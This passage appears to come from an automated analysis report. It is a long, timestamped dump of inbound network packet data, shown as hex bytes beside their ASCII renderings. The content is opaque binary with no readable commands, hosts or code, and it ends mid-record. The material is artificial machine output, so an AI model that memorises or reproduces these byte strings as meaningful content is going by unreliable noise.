80 bc 1e 65 6c 39 c1 59 Data Ascii: (V~BDC;-yA8:p~zPSu;G.r/X}R.]Q,?LlqKTY6< l-PJPNf^X_{?ES ]1&8?jyr$AejdU>PVv_pa.q*N[k4@iT+q#O#,s@l.v3yel9Y
2021-12-01 08:15:22 UTC	2117	IN	Data Raw: 4d bb d8 08 3a 77 e1 d3 f5 53 82 6c d6 38 ec 15 71 99 26 24 fa b9 e4 0c 2d 38 38 dc 29 28 60 65 14 3c 79 6a 76 af e5 96 fc 4b 56 a0 c3 ac b4 25 a1 fe 1f 08 5f df cf 11 f6 ea 48 3a 90 58 8a af ea c1 92 c8 67 b8 be 82 c8 1d 08 59 58 97 0b 24 ed c5 31 cb 00 3a 28 17 ec 9a 6c 67 9d 3e e9 26 99 84 0b b0 5e 4a 64 58 a9 d7 b2 1c ba 58 7c f3 de 74 21 8d 9c df 4e 0d 90 30 2a a1 ae aa 8e de 2b f6 6b 92 6c db 39 b7 95 b1 b7 01 ff 06 a7 fc 70 3f c2 44 23 7f 2c 09 57 06 c7 fc b7 25 69 cd 6a d5 f2 20 cc aa b1 d5 b1 71 20 e7 74 af 70 9c c4 fc da 46 3e c0 29 a8 b3 42 1c 60 31 fe c0 72 37 0c 3b f9 37 3a ff 01 02 f1 ac 6e 8f 74 76 af 32 61 5f be e2 a3 c6 34 ad b4 ba 2d af e2 d7 25 e1 24 49 ed d9 99 c0 23 d4 be c0 61 6f 59 91 a1 30 74 17 21 3f b5 6c 17 45 cd e6 fd be 6b 91 Data Ascii: M:wSl8q&$-88)(`e<yjvKV%_H:XgYX$1:(lg>&^JdXX\|t!N0*+kl9p?D#,W%ij q tpF>)B`1r7;7:ntv2a_4-%$I#aoY0t!?lEk
2021-12-01 08:15:22 UTC	2133	IN	Data Raw: 4a 8c f7 a3 e9 a1 d8 2b 81 0a 11 cf 6f d0 62 3e 61 73 0a 4f 9e 3d 42 e2 00 ac 9f 4b 29 d0 4f ec 39 20 4a 42 f9 e5 5a dc bc 45 8a ad e6 53 48 cb de d7 a3 8a 46 91 2c a5 12 ea fc eb ee 6e 2f d6 67 6f 01 71 0b dd db cb 7e 96 2b b1 2e d8 cf 5b d0 9b 7c 33 3a 53 89 8c 90 68 c4 f9 ce 0a 9d b9 f9 4a 03 b5 73 be 6d d5 d6 32 39 16 bc 7e 13 63 6f ea 28 f4 72 95 92 68 0f 80 97 ac 6c fc c8 54 35 e4 28 ed 60 5f 69 da 24 81 ff 1b 99 ca b1 06 b6 8e 9a c7 5f 29 1e 6f df 2d d9 e5 e9 0a 87 7e 12 65 7e b5 58 9a 6d 43 33 63 c5 e0 34 9e f1 95 cd 11 7b e2 3a 71 a0 54 72 ff d7 12 69 06 65 45 97 d9 46 1e 09 86 1e e3 b3 8d 02 05 e8 24 11 e1 21 7d 3e e2 e6 bf 02 f1 67 d0 04 ad 6a 4e 91 c6 07 1f af 97 e5 f7 a6 8e be b4 d4 39 5a f0 d8 f7 8b b0 cb fc 2c 57 24 59 1a 9a 38 fe af 45 1f Data Ascii: J+ob>asO=BK)O9 JBZESHF,n/goq~+.[\|3:ShJsm29~co(rhlT5(`_i$_)o-~e~XmC3c4{:qTrieEF$!}>gjN9Z,W$Y8E
2021-12-01 08:15:22 UTC	2149	IN	Data Raw: 84 aa 19 65 f1 22 8d 23 29 94 cb 2c a8 ca 3d ab 1c 69 a4 ee cb 45 52 22 13 ca 86 54 e4 97 3d be b9 e7 6f 24 9d 04 7e b8 f3 ee 5b 4b 4c fd b6 3a 2f ad 64 c3 e1 aa 98 39 f5 11 3e a9 bc 2e 81 75 7b 09 6a 01 dc 1c 94 75 70 61 41 b5 66 85 33 4b 22 04 82 dc e8 a2 8b 59 1e 71 94 c4 74 cb 45 9f ae 2e e7 f8 bc 06 aa fe cf 37 fb 2f 3c d6 2d 1f ca 85 20 cf f0 fe ee dc f4 49 e0 d5 b6 3a 03 ab 36 b8 bb 3b 59 25 ec fc 59 03 ca e2 a6 ba 76 52 8f 2c d1 54 65 e3 d3 0e 8a ea 2d b8 93 b4 6c b8 75 1d 9e 2f d7 34 d3 6c 60 54 58 f5 02 cd 28 5e 98 cc 68 36 ea c5 26 ab d7 ab a4 dd f9 76 44 07 63 6f 9c 21 4c 2d b4 b1 07 14 ab 43 02 00 f8 9a c9 ff e2 47 0b fd d5 6b 6c 9e be ba 7a c9 0d 70 50 72 99 42 31 64 cf 96 e1 b9 c9 98 99 0c 0a 79 4c f8 cd 45 51 58 09 27 c9 b8 e2 ef bf 28 12 Data Ascii: e"#),=iER"T=o$~[KL:/d9>.u{jupaAf3K"YqtE.7/<- I:6;Y%YvR,Te-lu/4l`TX(^h6&vDco!L-CGklzpPrB1dyLEQX'(
2021-12-01 08:15:22 UTC	2165	IN	Data Raw: 3a 46 47 49 db 70 fc cf d6 bb 01 6a 85 aa 96 a4 cb c6 4e 31 01 6f 77 bf 64 61 cf 0d ab 6f 73 ed 46 94 78 b7 a8 c1 40 f3 22 89 66 8d ac c2 0e 88 8d ef f3 20 1c 22 eb 61 99 09 3f 6c 6e b5 35 1a 45 5b 41 2f c9 30 31 6f 25 7c f0 00 42 b0 b8 00 4b 76 58 c6 17 fe c2 c1 a9 d6 2d 2e d4 25 ed ea 94 5a c5 7a ad 06 43 01 93 87 a1 e7 02 0b c1 41 e3 c0 ff 57 20 77 5b ac a7 a2 7f 74 56 9e 81 47 78 4f c5 23 e4 6b 77 86 a1 ea 7b 72 df 40 3f 93 c8 d8 9e 22 ab 9c 2f b5 1d 5a 43 72 8a c4 f7 5b b0 51 b8 d1 e3 73 57 ef 35 b9 19 89 b2 a1 ce d9 fe ed 06 87 98 36 c6 25 3c 17 82 ed ed d7 bd e3 6b 0f 54 24 08 30 1d b7 39 de 79 0d 8b 9a 4f e7 23 8d 69 ec d0 ab 5d 46 ef c6 33 7e 4d 1d 08 55 d9 2e 3f 78 a7 63 c5 87 42 c4 bd 06 eb 8a 18 7d 14 5c 37 5d 58 cd fc 74 4b 10 2f 60 c4 42 94 Data Ascii: :FGIpjN1owdaosFx@"f "a?ln5E[A/01o%\|BKvX-.%ZzCAW w[tVGxO#kw{r@?"/ZCr[QsW56%<kT$09yO#i]F3~MU.?xcB}\7]XtK/`B
2021-12-01 08:15:22 UTC	2181	IN	Data Raw: ac 05 fa 30 43 18 18 42 34 9f ad 7e 68 4e 94 7f 3f 4b ef f5 c6 65 87 24 d4 ac 48 3c 8e f3 7c 33 86 67 f9 8b d5 37 a0 1e 68 58 3e b6 9b 74 fd 36 28 5b f1 69 dc 63 93 2a 67 9c 50 47 50 f5 d5 72 fd 92 42 b3 74 3a fd 68 47 d7 fb 4a 62 4e 71 74 ec 8b 93 15 41 ec ed 1c c7 ab 61 27 d5 3d e1 d8 4b 2e c7 1f 4c 5d 37 52 94 1f 06 5f 34 f8 fc 2c 5f a9 8e 18 56 8c 2f 64 6d c4 7e 93 98 5d 2f 50 42 12 ed 8e 9a fc c0 03 73 d7 90 ea 68 bc b0 e4 83 d2 39 3e ee ee f4 6e 03 34 6c e0 eb e9 46 a1 cf a2 df 25 a7 07 27 d7 2a c5 ae 7d c3 81 fc fe 04 80 2f dc 13 33 f8 c3 87 18 f2 66 de 7c 35 80 e7 af 0a e8 c8 57 3f 58 0e 82 1b e9 c8 e9 8f 09 e9 20 62 12 f3 29 ba fd 2e ca a0 eb 32 93 8a 10 42 56 ee e3 1a 28 2f 58 fa 59 29 0d 06 83 8a 13 c0 18 a0 bc 24 8f 55 11 1b 1e 58 35 ff 6b 27 Data Ascii: 0CB4~hN?Ke$H<\|3g7hX>t6([icgPGPrBt:hGJbNqtAa'=K.L]7R_4,_V/dm~]/PBsh9>n4lF%'}/3f\|5W?X b).2BV(/XY)$UX5k'
2021-12-01 08:15:22 UTC	2197	IN	Data Raw: 08 95 44 cf 72 0a 86 8c e0 9c 37 09 2a 8e cd c7 58 07 fd 63 91 fb 68 f0 2c cb b3 b1 e4 ce fb f6 00 5e 34 67 06 f2 4c b2 14 0e 3a d4 19 36 90 f2 96 c6 53 2c 3f e2 80 db 6b b9 91 c0 c2 fd 34 67 fd 84 cf 08 a8 84 e6 fc e1 09 f8 b9 dd b6 e9 b9 73 92 d6 b9 f0 3e 7e 5e 56 7d c5 ea 09 7c da 1e 59 55 be e5 92 83 ec 97 b8 83 15 3b 80 96 c8 4d 88 4b 4c 8e 10 f3 af da 53 4e bb 5a 8a c8 19 c1 06 40 49 3c a7 f7 58 66 f8 6b 37 93 19 ef fc 8a 77 a4 1c 49 24 62 ac 84 17 c9 20 c1 e9 eb 94 d9 e7 0a 6c 5f e2 12 40 28 a4 bf f5 8b 2e 8d 90 1e 25 0a 65 85 7d e3 54 13 93 3a d4 16 9a 2d 1f 88 a9 da 55 fb 55 b6 26 f0 8c 97 88 df 4d 10 33 6b 13 3d 58 f6 46 ee 07 dc 77 15 03 ea ba a4 15 ac 55 19 57 a0 15 ee 12 2f 69 50 68 b3 50 22 fd 9a 08 1e ce 10 5f 5b 2d 2c fc 1b c6 79 4f b2 4f Data Ascii: Dr7*Xch,^4gL:6S,?k4gs>~^V}\|YU;MKLSNZ@I<Xfk7wI$b l_@(.%e}T:-UU&M3k=XFwUW/iPhP"_[-,yOO
2021-12-01 08:15:22 UTC	2213	IN	Data Raw: 95 d6 a9 ce 29 e3 3f 65 13 74 8a af 80 e4 0a c7 fe 3e b8 46 87 7b 06 3f 20 bf fd 69 51 e1 f5 5e c1 27 c1 2b 3e a3 56 7e b3 cf e4 cf a4 c6 c2 e8 e8 16 b5 eb fb d0 b0 75 7b 45 31 34 a4 e3 d9 2a da b9 36 40 42 fe 83 cf 7b ec 09 8c dd f1 1b 84 a6 ee 04 27 24 ed e1 a8 e2 fd f4 3a f0 81 93 66 e1 68 1e 63 e0 72 c1 9e 7d 44 bf 8f 31 80 cd ab f6 05 c3 c7 51 6d d9 22 a4 9c 7f 9d 8e 8c 8a a4 0f 38 96 ff dd 57 de 52 b9 af 8d 69 63 4c 59 14 41 28 70 b0 ab 83 75 55 47 7b 46 96 95 6a 51 d4 00 57 20 d1 29 7d a5 04 c6 dd d9 7d ba b4 3f 9b e7 94 a7 3a 1f e1 b1 5b 40 7c 6b 4b f9 78 0a 40 5f ee d9 6a b0 b8 15 cd f9 7f e1 ea 2e 7b 58 d3 98 cc 03 38 0a 05 36 b5 52 56 0e 83 c2 8f 02 07 03 6b cd 37 a3 35 39 93 78 16 3a ce ec a3 90 b1 b0 e7 f8 9c 20 77 b5 31 ea 87 9f 98 2e 16 73 Data Ascii: )?et>F{? iQ^'+>V~u{E14*6@B{'$:fhcr}D1Qm"8WRicLYA(puUG{FjQW )}}?:[@\|kKx@_j.{X86RVk759x: w1.s
2021-12-01 08:15:22 UTC	2229	IN	Data Raw: 60 ff 40 bd ec d4 52 d4 ca 04 d2 e4 56 2d 60 64 f4 09 0d 35 d8 7e 92 c2 85 29 ca 6a 21 3c 42 59 ec a7 21 61 2c cd 64 a2 f4 f3 6b 82 14 6b d5 da 2c 2a e8 67 e1 ed b5 f9 bd 24 f0 d1 d3 a2 c5 c0 85 0a b0 2a f7 83 2b 35 e2 26 b6 0f 54 d3 ff c5 a5 61 6e 21 00 57 96 33 20 95 ac af 92 1c 32 c6 16 b9 1e 9c d5 07 9d c8 b3 7f 96 c1 26 3f 99 53 d0 6f 1c f5 54 73 45 a6 42 72 6e 17 b4 be ae 9f d9 84 31 3c 30 69 92 38 b7 c4 0d f5 03 59 3a 2e 59 e2 9b 54 1c 80 15 90 b8 01 16 5d 6c 85 b8 b2 f2 df 63 c6 bb 68 d7 80 f8 05 d5 e7 a2 00 a3 c0 b6 9f d2 4d 01 3f 41 b3 79 cf cc a2 71 b3 2b a1 ed a2 d5 82 25 a3 d5 f5 51 dd 43 c4 a2 b3 22 52 8d f1 04 2d c2 df f8 68 80 6e 97 aa ee fb 17 20 b8 de 4a 25 a2 f9 21 6a ce 36 0c 05 69 60 8e d1 d9 d0 de 60 12 1b df 40 8b ef 78 b2 1c 46 52 Data Ascii: `@RV-`d5~)j!<BY!a,dkk,g$+5&Tan!W3 2&?SoTsEBrn1<0i8Y:.YT]lchM?Ayq+%QC"R-hn J%!j6i``@xFR
2021-12-01 08:15:22 UTC	2245	IN	Data Raw: d0 e2 88 b6 7e 6c 80 14 1d 92 ab b1 b1 e2 ea b5 48 f6 a8 89 b4 58 3a 55 40 1e 34 f8 fc 4c 83 da c2 17 4f 24 c0 3a 58 d8 b4 62 7d 86 1c b5 8b 3a ef 17 09 55 dc fa 1b 43 41 8a 48 c2 40 69 5a e8 af 5a 0c 89 7f 6c 0c 35 3a ab b8 b4 9d fe 5d df 75 e8 ac 22 53 43 51 45 1f 44 e0 39 3a a8 5c 59 81 4c f2 95 42 78 f0 05 5b 32 3d 11 c3 57 91 70 a9 c0 4a 24 a7 7c d9 39 15 92 13 35 50 82 65 5d 40 67 b4 3e c5 24 d3 ef 08 2d 6e 69 be 08 cf 36 70 ba bd 10 e3 47 d9 ee b3 8b f4 31 f9 5c 3d 70 a7 58 a8 e7 d6 ab a4 96 5f 43 43 70 9d d6 16 6d fa 9a 8a d8 fe 48 76 e4 1a 1d b6 38 5c 36 d9 25 af 81 8b 63 7a 6c 7b e7 21 64 de 83 37 f1 d7 ab db e1 74 2f 41 5f e7 b5 ae 60 01 8b 1f ec ce 64 2c 20 cf e4 35 2b a7 d1 03 5b 27 27 11 c0 40 65 9e 2c 88 f4 53 61 77 24 cf 9b 15 f1 bd 2a b1 Data Ascii: ~lHX:U@4LO$:Xb}:UCAH@iZZl5:]u"SCQED9:\YLBx[2=WpJ$\|95Pe]@g>$-ni6pG1\=pX_CCpmHv8\6%czl{!d7t/A_`d, 5+[''@e,Saw$*
2021-12-01 08:15:22 UTC	2261	IN	Data Raw: 53 98 02 31 f6 d0 6a 54 f2 14 6b b3 77 1f 4f 66 b9 07 bf de 64 a1 26 fa 88 34 0a 17 26 93 60 92 ca 56 8f f5 40 26 18 f7 d2 ea f8 60 b8 84 ab 41 21 30 da c2 b3 fb e8 36 fb 71 ae 44 2e 51 14 f9 59 df c1 b9 56 b8 c4 46 ca f0 c6 bc 78 61 bc 41 3c a5 9a 3d c5 06 91 ad 2b e0 ce 99 c4 6b 74 e4 9b f4 05 50 f2 d8 7e fd 1f 63 8e ea a9 88 95 4f 8d 86 f5 60 4a cb e1 12 85 59 3c 6a 2e 8a f7 8e c5 b9 cd b5 d9 ff 4d 82 24 48 35 44 91 cd 4a 24 68 2b d9 ea 29 e7 6a 59 de d9 81 67 b9 dc 6b a8 3c 1d 28 9a d5 b2 d9 fa 4a de d8 bd 38 73 17 e2 fc 6d 2e 11 58 a3 57 b8 64 2b 93 df c6 ff 13 62 6d 72 7b 02 b7 d1 c9 87 7d c6 29 89 dd 7c fb 2d b5 6a 9b b1 1c c1 39 18 6e 64 ea e1 1e 74 99 6c 99 83 1a 36 20 7d 28 ee a6 7a 55 3d 77 85 35 39 2b 0f 42 e3 96 13 28 51 f1 13 d8 fb 48 de 68 Data Ascii: S1jTkwOfd&4&`V@&`A!06qD.QYVFxaA<=+ktP~cO`JY<j.M$H5DJ$h+)jYgk<(J8sm.XWd+bmr{})\|-j9ndtl6 }(zU=w59+B(QHh
2021-12-01 08:15:22 UTC	2277	IN	Data Raw: 9f b6 02 9b 94 74 26 91 70 67 0d 03 2f 58 28 13 88 75 6c 98 9b cf 84 21 10 c6 c0 82 6b e6 da 32 11 fd 4d 83 e3 8d 96 ab 1a 95 b7 6f 4f 54 9f 78 63 11 9d 8b e8 d3 2d 1a 54 00 6e 84 bc cc f3 e1 af 19 32 91 37 2b 6b e1 33 34 2e 78 9d e9 df 55 75 99 90 52 dd 2f d2 b9 fd 2e 33 44 56 f8 fe 03 b6 d3 0e 7a 34 db 6a af d8 5e e2 f1 84 f2 e7 92 a4 c9 f5 be dd 14 d1 55 c9 f3 c1 e5 35 c7 97 c2 43 20 75 2f c2 53 0d db 73 1d 5b 2b 47 8b fa 75 7c c2 83 4f ba d4 fb af 87 92 5d 9b 4a e2 37 d6 a6 3f 13 1d 32 f9 b4 16 3e 8b 38 dd 37 ec fd 21 19 16 23 4d 50 dc 93 b7 32 ea 16 19 88 97 c7 6e 5e 02 fb b7 da 7f 0f 3a d3 05 e9 df c1 51 10 9e f2 2d ec 8c 32 fd 1f cf 28 4b a7 4e 78 7e 78 a8 6e f3 82 30 b2 79 b0 52 66 16 02 df d7 44 c1 86 44 01 0f 3a 23 7f e8 12 9d a0 96 2f c3 f0 73 Data Ascii: t&pg/X(ul!k2MoOTxc-Tn27+k34.xUuR/.3DVz4j^U5C u/Ss[+Gu\|O]J7?2>87!#MP2n^:Q-2(KNx~xn0yRfDD:#/s
2021-12-01 08:15:22 UTC	2293	IN	Data Raw: 56 a6 ed f8 eb b9 61 16 1c d9 a5 bf 80 20 fa c9 88 5b 66 11 e8 ab 44 56 78 ea 78 e5 17 92 a9 fc bf 43 6d f4 f4 dc 7c 7c 6c 56 4b b3 c9 09 4f db 29 65 f9 8a a1 bf 8b 90 7d 7d 76 3e fc 0f 2c 37 ea 8b 9a 2a ee c7 ab 76 b3 df b5 b7 94 ff 16 57 39 b8 d7 9e c2 e3 c7 d2 99 92 77 ed 67 f6 8b ec 5a a2 b7 e7 25 ed cf 21 55 ee db ba 53 cf 1f b9 db 13 35 13 57 bd 0f b4 d5 1f 45 b9 97 96 67 9e de 88 07 93 ce 6c 9f 01 8b 26 56 ec 0c a0 23 50 d1 59 e1 18 1b 56 ab 94 66 5a cb 4f bf 7f 33 98 58 05 ea 12 2c 04 e3 69 94 05 5e c1 56 b3 cd c5 b0 14 dd 26 66 1c 40 7b 05 66 b9 73 46 dc f8 a1 8b 95 e3 4c ef 73 2b 38 2b c2 21 66 b4 a2 52 9e 37 f4 96 67 98 00 72 fd 36 8b 51 6a 54 33 59 f1 eb 05 a7 ee b2 ce 44 63 b6 a7 4a 51 6a 80 59 f3 a9 e7 bd e8 38 52 88 c8 76 5e 21 80 8f 7a de Data Ascii: Va [fDVxxCm\|\|lVKO)e}}v>,7*vW9wgZ%!US5WEgl&V#PYVfZO3X,i^V&f@{fsFLs+8+!fR7gr6QjT3YDcJQjY8Rv^!z
2021-12-01 08:15:22 UTC	2309	IN	Data Raw: df 1b 58 e5 fa bf 1f bd e2 52 04 72 ae a5 0e d9 3f 65 f4 ac a7 ca 2e 0c 73 51 0f 23 18 52 0c 44 5b a5 23 19 6c 6e 90 d2 41 fd ac 51 37 44 90 5e be 58 cb d6 1d 40 87 ce 0a 36 53 cd c8 2c 70 37 dd e5 53 32 d5 76 b0 99 ee 89 86 08 a7 5f 8e 8d 34 0c 26 36 33 55 05 80 f6 ef 71 e1 22 34 c7 b5 47 c8 31 9b 68 0e cf 85 a3 af de 8c 19 38 dc 88 04 93 0a 91 22 e8 ef 61 8c aa 76 fa f8 8a a0 92 ce 9d 00 29 bb 1c a2 59 b0 23 30 a5 fb 4c 32 08 65 68 d3 77 87 60 5d 9b ac 01 55 e7 9f ae 6f 48 94 fe e1 4a 51 24 c7 40 1e 59 78 61 72 ea 54 bc 3f 7a 1c 04 3f 9a d2 24 0c 44 7d 73 bd 5b c1 e7 b2 2c 39 2e 1a e2 d3 0f 18 86 b1 c8 06 e7 43 64 b0 89 6f fb f4 96 4c fb 0f 8c 54 c3 ad a3 66 fd 25 e1 2f 21 cc 68 f6 f2 a9 da e0 66 6d 4f a5 b1 b2 09 29 91 4a dc 9c c1 4f 72 1a 7e 6f 0f de Data Ascii: XRr?e.sQ#RD[#lnAQ7D^X@6S,p7S2v_4&63Uq"4G1h8"av)Y#0L2ehw`]UoHJQ$@YxarT?z?$D}s[,9.CdoLTf%/!hfmO)JOr~o
2021-12-01 08:15:22 UTC	2325	IN	Data Raw: 06 66 69 1c db 11 b9 33 9e df ab 21 08 2b df df ad 4b af 68 99 2a fb e4 19 eb b8 fc 21 f3 b7 77 c4 dd 20 2e 26 4e 73 5a ee c8 4e 87 ef 83 6b 6e 75 84 00 9a 0c 98 cb 64 0f 01 34 5c 84 eb cf 1e d4 c4 a2 cf be c7 99 9d bd da 9f 66 cf a6 44 1e bf 62 54 77 11 57 88 54 a5 0e 36 74 e0 e7 c8 a9 36 cc 33 6a bd 2b e0 80 78 53 b1 d6 ad 7d 5a cb 3a 1f 6a b5 0c db d9 35 04 a4 b4 39 de 0e 60 af b6 d2 7c bd 04 01 c7 bd 13 ce 6b ce 4b ec 0a 73 54 7a ba b4 e4 a2 95 41 57 aa 36 72 17 80 be c3 66 9c 27 34 06 62 28 7d f4 7e 5f 37 1f da f8 71 22 b9 bc 07 ed 03 45 fc ec 2a 47 e5 5d 98 60 83 87 85 99 67 37 6a 38 2e b6 90 38 ed 4f 4f 7f bb c5 4f d7 03 54 91 a6 8f ec 9b 37 c7 5c ed 04 6f d6 ea d5 b1 15 b3 fc 7d ce a5 72 e2 ae dd 77 40 3d 24 8b df f2 b5 f2 c3 41 9b 8b f1 80 e0 d4 Data Ascii: fi3!+Kh!w .&NsZNknud4\fDbTwWT6t63j+xS}Z:j59`\|kKsTzAW6rf'4b(}~_7q"EG]`g7j8.8OOOT7\o}rw@=$A
2021-12-01 08:15:22 UTC	2341	IN	Data Raw: 8a 81 c4 91 93 cf 55 cf 3c 15 57 37 d7 56 30 bc a6 1e a0 73 bd b0 4e 1c d9 ae 9f b0 13 66 1e 19 cc 9d 09 b9 44 86 81 85 27 57 7f 44 b1 a8 87 10 0a 41 d6 7f 43 25 0b 32 8b 10 bf 4b 42 fe 59 dc 66 f9 99 3c 67 c8 7e ff 87 9f 51 60 13 1a f5 16 ad 58 a0 4b f5 2f 29 8d e8 95 9c 00 2d 26 ea 30 5f 9e 2e c9 7e 51 69 b8 0e 54 27 00 e2 59 ec 1a 15 eb 1e b4 12 44 b4 6a 21 58 f4 5d 97 03 bc 16 57 6b fa 7f 5d ec f7 ef c4 09 83 81 7d 53 ba 9e ac eb 63 23 83 80 de 44 b4 50 98 bd 84 52 c2 10 e4 09 6e ba 70 50 d5 46 3a 97 63 8b 24 78 aa 59 5d d0 9a 0a 29 ff 0b d3 41 89 5d c4 5a a5 a4 ed c4 14 66 24 a3 4b 87 97 ea e6 7e f8 fa c9 7d c0 a0 65 b3 b1 c4 63 ef d2 47 5c 22 e2 97 0b 64 24 29 ff 2f b4 6b 77 91 f7 cf 69 db a1 be 83 32 eb ae 3c 56 cd 97 7c 85 ca 74 dc 38 ea 30 03 c8 Data Ascii: U<W7V0sNfD'WDAC%2KBYf<g~Q`XK/)-&0_.~QiT'YDj!X]Wk]}Sc#DPRnpPF:c$xY])A]Zf$K~}ecG\"d$)/kwi2<V\|t80
2021-12-01 08:15:22 UTC	2357	IN	Data Raw: 3f 9a 64 2f f2 dd 84 74 d0 56 c7 bd 26 13 4d a4 8e 20 51 c5 5c 8d d4 a0 d2 8b 45 cc 2a cc f2 c9 a6 2d 0a c4 20 7c 17 dd 7f 42 f3 1a c7 9a 61 90 68 ce 0e 31 c9 02 93 ec 34 c0 56 15 02 a0 76 e7 62 9b 0b 68 ec 91 7b 6d d4 d9 1f 7d 43 37 08 1e 31 c0 ae 55 30 82 7a e8 a8 63 3a 84 1d 2e 05 b8 48 f3 e2 c6 21 17 e6 0c 1c 58 3e 96 b2 f9 5c 32 a7 e7 0f 61 3d 45 28 21 63 5c 4f e3 cf 51 93 bb a1 ae 08 9c 27 ce 09 ab a5 6b d8 09 2b 06 58 5e a1 64 be 35 6e 4e 7e fa 5b da b9 30 06 d6 25 84 11 90 be 59 4b ff 99 e4 c7 0c 27 41 ff fc 8a 8c 66 dd cb 56 8a cd 2e a2 fa da e8 c3 4c 11 6b d4 50 53 a7 ee ed 42 d7 18 89 15 6b 66 e4 57 d5 50 af cc b3 cb 25 be 74 6f cf 46 73 7e d1 61 1d fa f4 ad b1 97 ad 9b 2e 20 22 22 aa fa 83 18 34 55 02 70 bf ff e1 f9 0c 03 98 a3 7b f4 d5 2d 5e Data Ascii: ?d/tV&M Q\E*- \|Bah14Vvbh{m}C71U0zc:.H!X>\2a=E(!c\OQ'k+X^d5nN~[0%YK'AfV.LkPSBkfWP%toFs~a. ""4Up{-^
2021-12-01 08:15:22 UTC	2373	IN	Data Raw: 17 da c5 ec 3e b7 91 5a 73 94 13 c7 cb 8e cb 2d f7 3a f4 31 53 83 30 d8 e3 4e d3 45 1e b9 a1 5b a1 70 fd 8b e3 69 4e 58 be 10 c0 7a 32 fc 9a 30 4d 69 cc ed 66 71 64 cb 52 93 5b ed 7e 2f c8 65 13 bd fd b7 c3 fc fb 83 0d 1f c2 a7 62 d4 28 5d 2f d5 2c 55 5a 67 6a 50 79 6a 42 ec a6 78 3c ba c0 50 8f c2 33 ae da ee f9 92 7f 2e a8 97 d3 86 24 fe 2b bc d4 af f4 56 8c 1d 82 6e 53 1b a3 ef 4a 35 e9 c0 a1 90 e7 ab a1 81 97 61 1d f1 2a e2 73 03 e7 3c aa 65 0f 1a 3a d7 1e 33 41 e1 f7 06 f8 6d 29 86 9b 8e 40 c4 e2 74 3e 26 24 75 c1 b0 98 40 23 5d 59 39 0a 48 08 9d 99 83 02 40 0f cb cd 98 d4 3e 13 60 f0 88 73 21 a9 90 4c 56 27 4d 87 ad ef 5f 3b 2a 8c 1e 5d 6c f1 e1 4c fb a1 4d 0b 95 93 ee f4 5e 6b 94 30 c2 db e8 3d db ec 37 bb 39 1f 7b 9d 47 a8 78 37 63 0a 95 d7 e5 00 Data Ascii: >Zs-:1S0NE[piNXz20MifqdR[~/eb(]/,UZgjPyjBx<P3.$+VnSJ5as<e:3Am)@t>&$u@#]Y9H@>`s!LV'M_;]lLM^k0=79{Gx7c
2021-12-01 08:15:22 UTC	2389	IN	Data Raw: c0 4a 7f 85 c6 8b f6 a5 3e 1f 43 6c 71 33 9c d9 f9 31 93 96 f6 a8 77 05 1f e6 a8 26 ee 95 3a 81 1a ac 74 01 68 1a 6b 90 4b 56 d9 82 9f e9 5b 03 7d 25 28 9f 59 9f 5d 26 9b ea ea cf 8f be f5 08 89 48 a0 8c 3c f3 b0 97 27 61 95 a4 00 8b 21 2c 62 84 98 58 2e f5 4f ef 51 9e 8a ec d4 95 bc ae 33 43 61 c9 bc 90 64 c2 65 bf 9b 23 b0 70 04 6a c9 9d bb e5 8b 80 ba 40 16 67 d0 85 9f d1 cf 8d 83 da 51 7c 41 f6 1e 36 6b c8 5e fe 1e 56 00 eb fe 0d ec 3d 53 9e a0 29 a1 60 7f c2 49 92 24 10 5f 95 54 16 4a 8a 46 4e df 99 c0 9b 7a 3d 02 94 e9 7d de 9f 48 62 d1 40 2e 7a ea b4 87 7f 61 0a 58 29 62 fc c3 29 56 5d c5 64 fb a8 5a 98 b1 7b 64 5f e3 eb 18 0d b8 20 7b 2a 14 fd ce 28 f2 58 0f 4d c9 65 be c5 ca 08 a4 c1 a4 2f 35 76 31 eb 53 10 0f 97 b4 e6 88 63 e1 eb 31 85 84 6f 7f Data Ascii: J>Clq31w&:thkKV[}%(Y]&H<'a!,bX.OQ3Cade#pj@gQ\|A6k^V=S)`I$_TJFNz=}Hb@.zaX)b)V]dZ{d_ {*(XMe/5v1Sc1o
2021-12-01 08:15:22 UTC	2405	IN	Data Raw: b3 3d 75 cc d2 d0 98 f8 85 99 55 5d ae a1 23 dd ea 67 9a 86 14 af d4 05 3f 62 f3 c4 b5 3f 05 06 ac 75 5f 75 6f 27 75 0b 3a 5e 81 aa 17 9a 6c fb 7f 3f 79 ac ca 34 02 64 e4 61 41 68 8e 1a 7e 27 61 40 e5 9f 6a 4e 5e 34 c5 2f f0 0d b0 93 81 54 7d 1a ea 6e 9d 0f 51 d1 24 f3 ae 1e 82 71 b8 17 df 93 53 17 cd 12 b6 bc c1 e7 47 1e da 25 3d 27 d0 42 22 b9 3f d0 50 6b 27 20 db 2b 86 88 a5 b2 4c 99 54 0b d6 64 aa 88 6b 0e c8 be 15 9e ca 24 ea 8d d7 41 a6 e3 cb 90 35 e9 c8 44 d4 2a f9 89 e6 13 96 5a 7a d2 33 8f 72 45 d6 55 f9 7b 70 cf 22 2c 98 aa 26 ad 34 8f e0 d4 aa 15 85 b3 0a 28 46 88 72 57 b9 08 15 4e ad 72 00 b6 5a 71 29 df 2e cb 2d 4f 6d f1 74 1d 3e c4 b1 ac b8 83 e5 e5 e7 26 aa 05 0b 0e 0f 02 25 2d 50 6c 63 bd 64 20 c6 b4 ac 9f f4 bb 72 01 a6 66 3d 2d 33 a1 35 Data Ascii: =uU]#g?b?u_uo'u:^l?y4daAh~'a@jN^4/T}nQ$qSG%='B"?Pk' +LTdk$A5D*Zz3rEU{p",&4(FrWNrZq).-Omt>&%-Plcd rf=-35
2021-12-01 08:15:22 UTC	2421	IN	Data Raw: bb 14 b8 fa 85 c0 23 7f 64 02 31 4b 11 b1 90 74 3d 0e 22 95 9d c0 34 9b 35 35 47 01 34 4d 57 4b c0 51 15 d4 74 a1 8a f5 84 6a 9e 5d 61 8c bd 97 45 76 5f 74 1b 8f 6c bf f4 fe ac 56 5d 55 b3 bb 55 ea 9c 44 ae 59 fe b9 f3 1b 38 9e 1e cb d6 96 d5 28 4c e8 98 15 9a f4 1a 11 61 cb 38 d5 1f cd 22 77 91 45 09 4c 0c 0f cf 36 85 f4 9d 0e d5 03 b6 d6 35 f6 37 83 0a ac db 5f ca bb 9a 18 37 47 18 5c a2 e0 43 3e 03 8e f3 7a 06 d6 33 89 56 96 42 c2 c0 ee 66 25 6f a0 57 f9 c1 ac 95 f6 5b e1 b2 c1 9b 56 ef aa b6 db ba ba 7c 43 fe df 2d 63 d3 10 ed e6 d4 36 1a ce 74 68 d3 76 a6 5f 80 77 93 30 50 d3 de 55 9e 5b ad 69 33 b3 f3 